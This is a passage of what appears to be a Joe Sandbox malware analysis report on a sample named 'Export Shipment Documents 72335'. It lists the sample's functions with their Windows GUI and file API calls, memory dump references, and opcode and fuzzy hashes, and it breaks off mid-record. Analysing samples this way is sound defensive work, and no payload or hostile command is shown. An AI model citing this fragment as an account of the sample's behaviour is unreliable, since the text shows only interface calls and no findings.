                                                                                                                                                                                                          • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                                                                                                                                                          • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                                                                                                                                                          • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 00454688
                                                                                                                                                                                                          • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                                                                                                                                                          • GetDesktopWindow.USER32 ref: 00454708
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                                                                                                                                                          • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                                                                                                                                                          • GetClientRect.USER32(?,?), ref: 0045476F
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                                                                                                                                                          • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3869813825-0
                                                                                                                                                                                                          • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                                                          • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                                                                                                                                                          Function 00458D1C Relevance: 25.6, APIs: 17, Instructions: 112COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                                                                                                                                                          • GetCursorInfo.USER32 ref: 00458E03
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Cursor$Load$Info
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2577412497-0
                                                                                                                                                                                                          • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                                                          • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                                                                                                                                                          Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                                                                                                                                          • GetFocus.USER32 ref: 004696E0
                                                                                                                                                                                                          • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessagePost$CtrlFocus
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 1534620443-4108050209
                                                                                                                                                                                                          • Opcode ID: 3dab727c688772619e9efc5d23afb6fcae73775eddc560d175f3e695e52b8611
                                                                                                                                                                                                          • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3dab727c688772619e9efc5d23afb6fcae73775eddc560d175f3e695e52b8611
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                                                                                                                                          Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00468107
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                                                                                                                                          • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                                                                                                                                          • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                                                                                                                                          • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                                                                                                                                          • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                                                                                                                                          • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                                                                                                                                          • GetMenuItemCount.USER32 ref: 004682DC
                                                                                                                                                                                                          • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                                                                                                                                          • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                                                                                                                                          • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                                                                                                                                          • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 3993528054-4108050209
                                                                                                                                                                                                          • Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                                                          • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                                                                                                                                          Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                                                                                                                                            • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                                                            • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                                                            • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                                                          • SendMessageW.USER32(?), ref: 0046F34C
                                                                                                                                                                                                          • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                                                                                                                                          • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0046F3BC
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                                                                                                                                          • DragFinish.SHELL32(?), ref: 0046F414
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                                                                                                                                                          • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                                                          • API String ID: 4085615965-3440237614
                                                                                                                                                                                                          • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                                                          • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                                                                                                                                          Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsicoll
                                                                                                                                                                                                          • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                                                                                                                                          • API String ID: 3832890014-4202584635
                                                                                                                                                                                                          • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                                                          • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                                                                                                                                          Function 00466999 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 312COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 004669C4
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 00466A21
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 00466A4D
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                          • _wcstok.LIBCMT ref: 00466A90
                                                                                                                                                                                                            • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                                                                                                                                                          • _wcstok.LIBCMT ref: 00466B3F
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00466BC8
                                                                                                                                                                                                          • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00466D1D
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00466BEE
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00466D4B
                                                                                                                                                                                                          • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                                                                                                                                                          • String ID: X$HH
                                                                                                                                                                                                          • API String ID: 3021350936-1944015008
                                                                                                                                                                                                          • Opcode ID: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                                                                                                                          • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                                                                                                                                                          Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0045F4AE
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                                                                                                                                          • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                                                                                                                                          • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: InfoItemMenu$Sleep_memset
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 1504565804-4108050209
                                                                                                                                                                                                          • Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                                                          • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                                                                                                                                          Function 004556F8 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 216COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                                                                                                                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$CreateDestroy
                                                                                                                                                                                                          • String ID: ,$tooltips_class32
                                                                                                                                                                                                          • API String ID: 1109047481-3856767331
                                                                                                                                                                                                          • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                                                          • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                                                                                                                                                          Function 0045CBCC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0045CD51
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0045CD63
                                                                                                                                                                                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                                                                                                                                                            • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                                          • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                                                                                                                                                          • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 0045CE14
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                                                                                                                                                          • String ID: *.*
                                                                                                                                                                                                          • API String ID: 1153243558-438819550
                                                                                                                                                                                                          • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                                                          • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                                                                                                                                                          Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00455127
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32 ref: 00455146
                                                                                                                                                                                                          • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                                                                                                                                                          • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                                                                                                                                                          • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                                                                                                                                                          • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                                                                                                                                                          • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                                                                                                                                                          • DrawMenuBar.USER32 ref: 00455207
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
